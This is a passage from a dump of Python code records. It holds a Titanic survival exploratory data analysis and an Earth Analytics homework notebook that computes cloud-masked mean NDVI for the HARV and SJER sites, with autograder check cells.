"max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-06-17T02:50:40.000Z", "max_forks_repo_forks_event_max_datetime": "2020-08-28T23:54:33.000Z", "avg_line_length": 32.3189655172, "max_line_length": 146, "alphanum_fraction": 0.6182982129, "include": true, "reason": "import numpy", "num_tokens": 1074, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.18952108217423458, "lm_q1q2_score": 0.09698108469005844}}
{"text": "\n# coding: utf-8\n\n# # Investigation- Titanic Disaster\n# \n# by **_ASHISH SAHU_** (June, 2017)\n\n# ### Description:\n# \n# _The sinking of the RMS Titanic is one of the most infamous shipwrecks in history.  On April 15, 1912, during her maiden voyage, the Titanic sank after colliding with an iceberg, killing 1502 out of 2224 passengers and crew. This sensational tragedy shocked the international community and led to better safety regulations for ships._\n# \n# _One of the reasons that the shipwreck led to such loss of life was that there were not enough lifeboats for the passengers and crew. Although there was some element of luck involved in surviving the sinking, some groups of people were more likely to survive than others, such as women, children, and the upper-class._\n# \n# ![alt text](http://www.astrosurf.com/luxorion/Sciences/titanic-sinking.jpg)\n\n# ### Analysis Overview:\n# \n# The data set is in csv format and availbale in my repository.\n# The goal of this project is to perform **intoductory data analysis** on Titanic DataSet and documents my findings. We'll start by taking a look at dataset and brainstorming what questions we could answer using it. Then we'll use Python libraries to answer the questions we're most interested in, subsequently creating and sharing report of our analysis.\n# \n# **Python librairies used-**\n# * [Pandas](http://pandas.pydata.org/)\n# * [Numpy](http://www.numpy.org/)\n# * [Matplotlib](https://matplotlib.org/)\n# \n# **The set of questions we would like to infer in this analysis is as follows.**\n# 1. _Does the available personal information we have about the passengers of titanic such as name help us in understanding the probabilty of survival of the passengers?_\n# 2. _In such disasters, there is an expectation that the young people have a higher survival probabilty. How age was related to survival?_\n# 3. _People were allocated based on 3 classes (Lower, middle and higher). Did class had any effect on survival?_\n# \n# ### Varibales Short Description:\n# \n# | Variable |                                          Description |\n# |----------|-----------------------------------------------------:|\n# | survival |                           Survival (0 = No; 1 = Yes) |\n# | pclass   |           Passenger Class (1 = 1st; 2 = 2nd; 3 = 3rd |\n# | name     |                                      Passengers Name |\n# | sex      |                                                  Sex |\n# | age      |                                                  Age |\n# | sibsp    |                    Number of Siblings/Spouses Aboard |\n# | parch    |                    Number of Parents/Children Aboard |\n# | ticket   |                                        Ticket Number |\n# | fare     |                                       Passenger Fare |\n# | cabin    |                                                Cabin |\n# | embarked | Port(C = Cherbourg; Q = Queenstown; S = Southampton) |\n# \n# \n# ### Feature type\n# \n# * Ordinal: Pclass\n# * Continuous: Age, Fare\n# * Descrete: SibSp, Parch\n# * Categorical: Survived, Sex, and Embarked\n# \n# \n# ### Importing libraies\n\n# In[1]:\n\n# import warnings\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# data import and handling libraies\nimport numpy as np\nimport pandas as pd\n\n# data visualisation libraries\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# Configure Visualisations\nget_ipython().magic(u'matplotlib inline')\n\nfrom IPython.core.interactiveshell import InteractiveShell \n#Allows value of multiple statements at once\nInteractiveShell.ast_node_interactivity = \"all\"\n\n\n# ### Load and check the data\n\n# In[2]:\n\nTitanic = pd.read_csv(\"titanic-data.csv\")\n# Preview the data\nTitanic.head(3)\nTitanic.tail(3)\n\n\n# In[4]:\n\n# overview of whole data and column\nTitanic.info()\n\n\n# In[5]:\n\n# proportion of overall paseenger who survived\n\nsurvival_rate = float(Titanic['Survived'].sum())/ Titanic['Survived'].count()\nsurvival_rate\n\n# we see that only ~38% people were lucky to survive the disaster.\n\n\n# **Lets run through the data summary and look for any missing values.**\n\n# In[6]:\n\nTitanic.describe()\nTitanic[['Age', 'Cabin', 'Embarked']].isnull().sum()\n\n\n# ** As we can see Age and cabing has lot of missing values in them, while Embarked has only two missing values.**  We can identify the passengers whose onboarding port imformation was missing. Who were they?\n\n# In[17]:\n\nx = pd.isnull(Titanic.Embarked)\nTitanic[x]\n\n\n# ### EDA focus on few variables\n\n# In[58]:\n\n# Count of Survivors by Gender\nsurvived_passengers = Titanic[Titanic['Survived']==1]['Sex'].value_counts()\ndead_passengers = Titanic[Titanic['Survived']==0]['Sex'].value_counts()\n\nsurvived_df =  pd.DataFrame([survived_passengers,dead_passengers])\nsurvived_df.index = ['Survived','Dead']\nsurvived_df\n\n\n# In[51]:\n\n# let's see survival count using boxplot\nplt.figure(figsize=(15,1))\nsns.boxplot(data=survived_df, orient='h', palette=\"Set1\");\n\n\n# In[57]:\n\n# Age Vs Fare Vs Survival\nplt.figure(figsize=(15,6))\nabc = plt.subplot()\nabc.scatter(Titanic[Titanic['Survived']==1]['Age'],Titanic[Titanic['Survived']==1]['Fare'],c='blue',s=20)\nabc.scatter(Titanic[Titanic['Survived']==0]['Age'],Titanic[Titanic['Survived']==0]['Fare'],c='orange',s=20)\nabc.set_xlabel('Age')\nabc.set_ylabel('Fare')\nabc.legend(('survived','dead'),scatterpoints=1,loc='upper right',fontsize=15,)\nplt.ylim(0,None);\n\n\n# ### Let's explore Age variable\n\n# In[7]:\n\n# Plot Age values on an histogram\nfig = plt.figure(figsize=(15, 6))\nTitanic['Age'].hist(bins=80) #bins=80 as ages range from 0 to 80 years old\n\nplt.xlabel('Age')\nplt.ylabel('Frequency')\nplt.grid(True)\nplt.show();\n\n\n# In[8]:\n\n# we can do mean substitution for the age variable\nmeanAge = np.mean(Titanic.Age)\nTitanic.Age = Titanic.Age.fillna(meanAge)\n\nfig = plt.figure(figsize=(15, 6))\nsns.distplot(Titanic.Age, bins = 40, color= 'red')\nplt.xlim(0,80);\n\n# plot after the mean age substitution\n\n\n# ### Which class passengers had a lowest survival rate?\n\n# In[9]:\n\n###### Class Vs Survival Chart ######\n\nsurvival_by_class = Titanic.groupby(['Pclass', 'Survived']).size().unstack('Survived')\nsurvival_by_class.columns = ['No', 'Yes']\nsurvival_by_class.plot.bar(title='Survival by Class');\n\nsns.barplot(Titanic[\"Pclass\"], Titanic[\"Survived\"], palette=\"Set1\");\n\n\n# **Here we can see that most passengers who survived held the class 1 ticket (higher class), while majority of class 3 (lower class) people were unfortunate.**\n\n# ** Let's check how family size and age factor has related.**\n\n# In[19]:\n\nsns.lmplot(x='Age', y='Parch', data=Titanic, hue= 'Survived', fit_reg=False)\n\n\n# **We can see that bigger size family had very less chance of survival and probabaly they sank together.**\n\n# In[27]:\n\nparch_survived = pd.crosstab(Titanic[\"Parch\"],Titanic[\"Survived\"])\npclass_survived = pd.crosstab(Titanic[\"Pclass\"],Titanic[\"Survived\"])\n\nfig, (axis1,axis2) = plt.subplots(1,2,figsize=(15,5))\nsns.violinplot(Titanic[\"Parch\"], Titanic[\"Survived\"], palette=\"Set1\", ax=axis1)\n\nsns.violinplot(Titanic[\"Embarked\"], Titanic[\"Survived\"], palette=\"Set1\", ax=axis2)\n\nplt.xticks(rotation=90);\n\n\n# ### Extracting title from feature 'Name'\n\n# In[18]:\n\ndef name_extract(word):\n    return word.split(',')[1].split('.')[0].strip()\n\ndf_surname = pd.DataFrame({'Title' : Titanic['Name'].apply(name_extract)})\n\nTitanic = pd.merge(Titanic, df_surname, left_index=True, right_index=True)\n\npd.crosstab(Titanic.Sex, Titanic.Title)\n\n\n# So there are 4 main titles - Mr, Mrs, Master and Miss. We can cobine others as those are less in numbers\n\n# In[19]:\n\ndef geoup_titles(old_titles):\n if old_titles == 'Mr':\n    return('Mr')\n else:\n    if old_titles == 'Mrs':\n       return('Mrs')\n    else:\n       if old_titles == 'Master':\n          return('Master')\n       else: \n          if old_titles == 'Miss':\n             return('Miss')\n          else:\n             return('Others')\ndf_temp = pd.DataFrame({'New_Title':Titanic['Title'].apply(geoup_titles)})\nTitanic = pd.merge(Titanic, df_temp, left_index = True, right_index = True)\n\ntemp1 = df_temp.groupby('New_Title').count()\n\n\n# ** Now, we can check how many and from where this people embarked on their journey**\n\n# In[27]:\n\npd.crosstab(Titanic.Embarked, Titanic.New_Title)\n\n\n# In[34]:\n\nsns.countplot(data = Titanic, x = 'New_Title', hue='Embarked');\n\n\n# ### Conclusion:\n# \n# ** Although much can be exolored using this dataset. There are few limitation where deriving an answer isn't possible here** :\n# \n# * Handling missing values. The dataset is filled with missing values of the age. The missing age values are imputed with the mean, but we saw that the mean value is being massively over represented which is a limitation as this will effect potential statistical testing. First, there was only 12 columns of data to work with with essentially three of them being irrelevant. Additionally, there were only 891 rows of data, of which 179 were missing important fields such as age.\n# \n# * The more the data, the better it can be analysed. For example there was no information in 'Name' Column that who were the crew and who were the passengers, how many life boats or security measures were present at that point of time. \n# \n# * The difference between the sample and the population, we don't know how the sample was chosen from the actual population of people that were on the Titanic. There could have been some sort of intentional or unintentional bias in how the sample was selected.\n# \n# \n# **_Overall, during our analysis we saw that strongest evidence for survival was certainly explained by `Pclass` the passenger's socioeconomic class. Perhaps Upper class passengers being in upper deck cabins, had better access to the lifeboats which were brought near the first-class cabins at shortest of time when disaster struck, while the third-class had to bear the scarcity of lifeboats, causing more deaths._**\n\n# **Resources**\n# * Plottings side by side using [Matplotlib fig](https://matplotlib.org/api/figure_api.html) .\n# * seaborn scatter plot using [lmplot()](http://seaborn.pydata.org/generated/seaborn.lmplot.html#seaborn.lmplot)\n# * Python [Regular Expression](https://docs.python.org/2/library/re.html) for data munging\n# * How to display multiple output using Python [InteractiveShell](https://stackoverflow.com/questions/36786722/how-to-display-full-output-in-jupyter-not-only-last-result/36835741)\n# \n", "meta": {"hexsha": "9f49a2dc0e37cdcd6356385c0280424bd259c3ec", "size": 10311, "ext": "py", "lang": "Python", "max_stars_repo_path": "Titanic-Analysis.py", "max_stars_repo_name": "Ashish25/P2-InvestigateTitanic", "max_stars_repo_head_hexsha": "23945d622ebb7a8b739425f9cbfe1fb03c99cb81", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Titanic-Analysis.py", "max_issues_repo_name": "Ashish25/P2-InvestigateTitanic", "max_issues_repo_head_hexsha": "23945d622ebb7a8b739425f9cbfe1fb03c99cb81", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Titanic-Analysis.py", "max_forks_repo_name": "Ashish25/P2-InvestigateTitanic", "max_forks_repo_head_hexsha": "23945d622ebb7a8b739425f9cbfe1fb03c99cb81", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.8020833333, "max_line_length": 479, "alphanum_fraction": 0.6905246824, "include": true, "reason": "import numpy", "num_tokens": 2581, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014733397551624, "lm_q2_score": 0.22541661063147306, "lm_q1q2_score": 0.09696235409692515}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# Leah Manak\n# \n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# # Pseudocode for assignment workflow\n# \n# - Import libraries that will be used in this notebook\n# - Make sure unused libraries are not in the list\n# - Get the home directory using \"et.data.get_data('ndvi-automation')\"\n# - Create data paths to our data from 'ndvi-automation' downloaded from earthpy\n# - Create cloud mask and get cloud pixel values from earthpy\n# - Create two functions: \n#     1. extract the sitename and datetime from pathnames\n#     2. open, crop, and identify ranges of a landsat band\n# - Clip extent of bands to match study sites boundaries\n# - Clip extent of qa layers to match study sites boundaries\n# - Calculate NDVI \n# - Add a cloud mask to the NDVI values\n# - Calculate Mean NDVI, get site names and the dates, and create a list of lists\n# - Make a pandas dataframe including the site names, mean NDVIs, and dates \n# - Make sure the dataframe index is in datetime and that the date column is the index\n# - Make sure the NA data is not included\n# - Plot the data with date on the x-axis and mean NDVI values on the y axis\n# - Download the data to a CSV file\n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport rioxarray as rxr\nimport xarray as xr\nimport geopandas as gpd\nimport earthpy as et\nimport earthpy.mask as em\nfrom datetime import datetime\nimport numpy as np\nfrom matplotlib.dates import DateFormatter\n\n# Download the data\net.data.get_data('ndvi-automation')\n\n# Create a path to the directory\ndirectory_path = os.path.join(et.io.HOME,\n                              \"earth-analytics\",\n                              \"data\")\n\n# Set working directory\nos.chdir(directory_path)\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[5]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\n# A function to extract the datetime and sitename from the directory paths\ndef extract_date_sitename(directory_path,\n                          sitename_location,\n                          datetime_location):\n    \"\"\"Extract datetime and sitename from directory path names.\n\n    Parameters\n    -----------\n    directory_path : string\n        A path to the directory name\n    sitename_location : index list\n        Index of sitename location in directory path name\n    datetime_location : index list\n        Index of datetime location in directory path name\n\n    Returns\n    -----------\n    list : list of the datetime location and sitename information\n    \"\"\"\n    # Create an empty list to append both sitename and date information\n    sitename_date = []\n\n    # Assign datetime location to an object and specify datetime format\n    date_location = directory_path[datetime_location[0]: datetime_location[1]]\n    format = \"%Y%m%d\"\n\n    # Create a date varaiable using new object and the datetime format\n    date = datetime.strptime(date_location, format)\n\n    # Create a location variable called \"site\"\n    site = directory_path[sitename_location[0]: sitename_location[1]]\n\n    # Append site and date variables to list\n    sitename_date.append(site)\n    sitename_date.append(date)\n    \n    # Return the populated sitename_date list\n    return sitename_date\n\n# A function to open clean landsat bands\ndef open_clean_bands(band_path,\n                     crop_extent,\n                     valid_range=None):\n    \"\"\"Open, crop, and identify the range of the bands.\n\n    Parameters\n    -----------\n    band_path : string\n        A path to the array that we will open\n    valid_range : tuple (optional)\n        A tuple of min and max range of values for the data. Default = None\n\n    Returns\n    -----------\n    arr : xarray DataArray\n        An xarray DataArray with values that should be masked\n        set to 1 for True (Boolean)\n    \"\"\"\n    # tests to ensure the arrays are clipped to the same .shape\n    band = rxr.open_rasterio(\n        band_path, masked=True).rio.clip(\n        crop_extent.geometry,from_disk=True).squeeze()\n\n    # This last step is only for a valid tuple\n    if valid_range:\n        mask = ((band < valid_range[0]) | (band > valid_range[1]))\n        band = band.where(~xr.where(mask, True, False))\n\n    return band\n\n\n# In[6]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n\n# Create path to the two sites \"SJER\" and \"HARV\"\nsite_paths = glob(os.path.join(\"ndvi-automation\",\n                               \"sites\",\n                               \"*\"))\nsite_paths\n\n# Create cloud mask and get the cloud pixel values from earthpy\nhigh_cloud_confidence = (\n    em.pixel_flags[\"pixel_qa\"][\"L8\"][\"High Cloud Confidence\"])\ncloud = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud\"]\ncloud_shadow = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud Shadow\"]\n\nall_masked_values = cloud_shadow + cloud + high_cloud_confidence\nharv_path = glob(os.path.join(\"ndvi-automation\", \"sites\", \"HARV\"))\n\n# Open and clean all HARV: first create empty HARV list\nharv_info = []\n\n# Create a for loop for the HARV path\nfor path in harv_path:\n    # Establish the scene directory path \n    scene_path = glob(os.path.join(path, \"landsat-crop\",\n                      \"LC080130302017031701T1-SC20181023151837\"))\n    # Set the path to the cropped shapefile and open as the HARV boundary\n    bound = os.path.join(path, \"vector\", \"HARV-crop.shp\")\n    harv_boundary = gpd.read_file(bound)\n\n    # Create a nested for loop associated with each .tif file (band 4-5)\n    for tifs in scene_path:\n        # Get site and date info from the scene directory path\n        site_info = extract_date_sitename(tifs, [22, 26], [50, 58])\n        # Order the bands 4-5 with glob\n        harv_bands = sorted(glob(os.path.join(tifs, \"*band[4-5]*\")))\n        # Set the path to the qa layer in the scene directory and open it\n        qa_layer_path = os.path.join(tifs,\n                                     \"LC08_L1TP_013030_20170317_20170328_01_T1_pixel_qa.tif\")\n        qa_layer = rxr.open_rasterio(qa_layer_path, masked=True)\n        # Crop the qa layer using the harv_boundary \n        cropped_qa = qa_layer.rio.clip(harv_boundary.geometry).squeeze()\n\n        # New empty list for bands without cloud interference\n        tif_bands = []\n        # Create an additional loop for the bands in harv\n        for a_band in harv_bands:\n            # Clean the band using the open_clean_bands function\n            clean_band = open_clean_bands(\n                a_band, harv_boundary, valid_range=(0, 10000))\n            # Apply the cloud mask to the clean band\n            band_cloud_mask = clean_band.where(\n                ~qa_layer.isin(all_masked_values))\n            # Add clean bands to empty for calculating the mean NDVI\n            tif_bands.append(band_cloud_mask)\n\n        # Calculate mean NDVI using tif_bands list\n        mean_ndvi = np.nanmean(\n            (tif_bands[1]-tif_bands[0]) / (tif_bands[1]+tif_bands[0]))\n        # Append the mean NDVI to the site_info list\n        site_info.append(mean_ndvi)\n        # Append site_info list to the initial list prior to the for loop\n        #called \"harv_info\"\n        harv_info.append(site_info)\n\n# Create a pandas dataframe with the harv_info list\nharv_df = pd.DataFrame(harv_info, columns=[\n                            \"site\", \"date\", \"mean_ndvi\"])\n\n# Set index from the date\nharv_final = harv_df.set_index(\"date\")\n\n# Call dataframe\nharv_final\n\n\n# In[7]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# In[8]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# YOUR CODE HERE\n# Create an empty list with site, date, and mean ndvi information\nlocation_info = []\n\n# make a for loop for the location paths\nfor site in site_paths:\n    # Get list of the location path with glob\n    locations = glob(os.path.join(site, \"landsat-crop\", \"*\"))\n    # grab the shapefiles from the locations and make the index 0\n    bounds = glob(os.path.join(site, \"vector\", \"*-crop.shp\"))[0]\n    # Open the shapefiles\n    opened_bound = gpd.read_file(bounds)\n\n    # Create a nested for loop for all locations\n    for all_locations in locations:\n        # Extract date and site info using \"extract_date_sitename\" function\n        site_info = extract_date_sitename(all_locations, [22, 26], [50, 58])\n        # Create sorted list of bands 5 & 5 in each location using glob\n        scene_bands = sorted(glob(os.path.join(all_locations, \"*band[4-5]*\")))\n        # Extract qa pixel layers using glob and pulling out index 0. \n        qa_layer_paths = glob(os.path.join(all_locations, \"*pixel_qa*\"))[0]\n        # Open the qa layer\n        opened_layer = rxr.open_rasterio(qa_layer_paths, masked=True)\n        # Crop the qa layer using the 'opened_layer' shapefile\n        cropped_layer = opened_layer.rio.clip(opened_bound.geometry).squeeze()\n\n        # Create an empty list for cleaned bands 4 and 5 \n        site_bands = []\n\n        # Create a for loop to clean bands 4&5\n        for band in scene_bands:\n            # Clean the bands using 'open_clean_bands' function\n            clean_band = open_clean_bands(\n                band, opened_bound, valid_range=(0, 10000))\n            # Apply cloud mask \n            cloud_free_band = clean_band.where(\n                ~cropped_layer.isin(all_masked_values))\n            # Append list with the cloud free bands\n            site_bands.append(cloud_free_band)\n\n        # Calculate mean NDVI\n        mean_ndvi = np.nanmean(\n            (site_bands[1]-site_bands[0]) / (site_bands[1]+site_bands[0]))\n        # Append the mean NDVI to the empty site_info list\n        site_info.append(mean_ndvi)\n        # Append this list of lists the empty location_info list\n        location_info.append(site_info)\n\n# Create a pandas dataframe\nlocation_info_df = pd.DataFrame(location_info, columns=[\n                            \"site\", \"date\", \"mean_ndvi\"])\n\n# Set index on date\nindexed_location_df = location_info_df.set_index(\"date\")\n\nfinal_NDVI_df = indexed_location_df.sort_values(by=\"date\")\n\n# Call dataframe\nfinal_NDVI_df\n\n\n# In[9]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# In[10]:\n\n\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\nfig, ax = plt.subplots(figsize = (12, 7))\n\n\nfor site, df in final_NDVI_df.dropna().groupby(\"site\"):\n    if site in [\"HARV\"]:\n        site_name = 'HARV'\n        color = 'goldenrod'\n    else:\n        site_name = 'SJER'\n        color = 'purple'\n\n    ax.plot(df.index, df.mean_ndvi, label = site_name, marker = 'o',\n            color = color)\n    \nax.set(title = \"Mean Normalized Difference Vegetation Index (NDVI) for two sites (HARV & SJER) \\n Mar 2017 - Dec 2017 (cloud-free data)\", \n       xlabel = \"Month\", ylabel = \"Mean NDVI\")\n\nax.xaxis.set_major_formatter(DateFormatter(\"%b\"))\n    \nax.legend(title = \"Site\")\n\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[11]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[12]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the 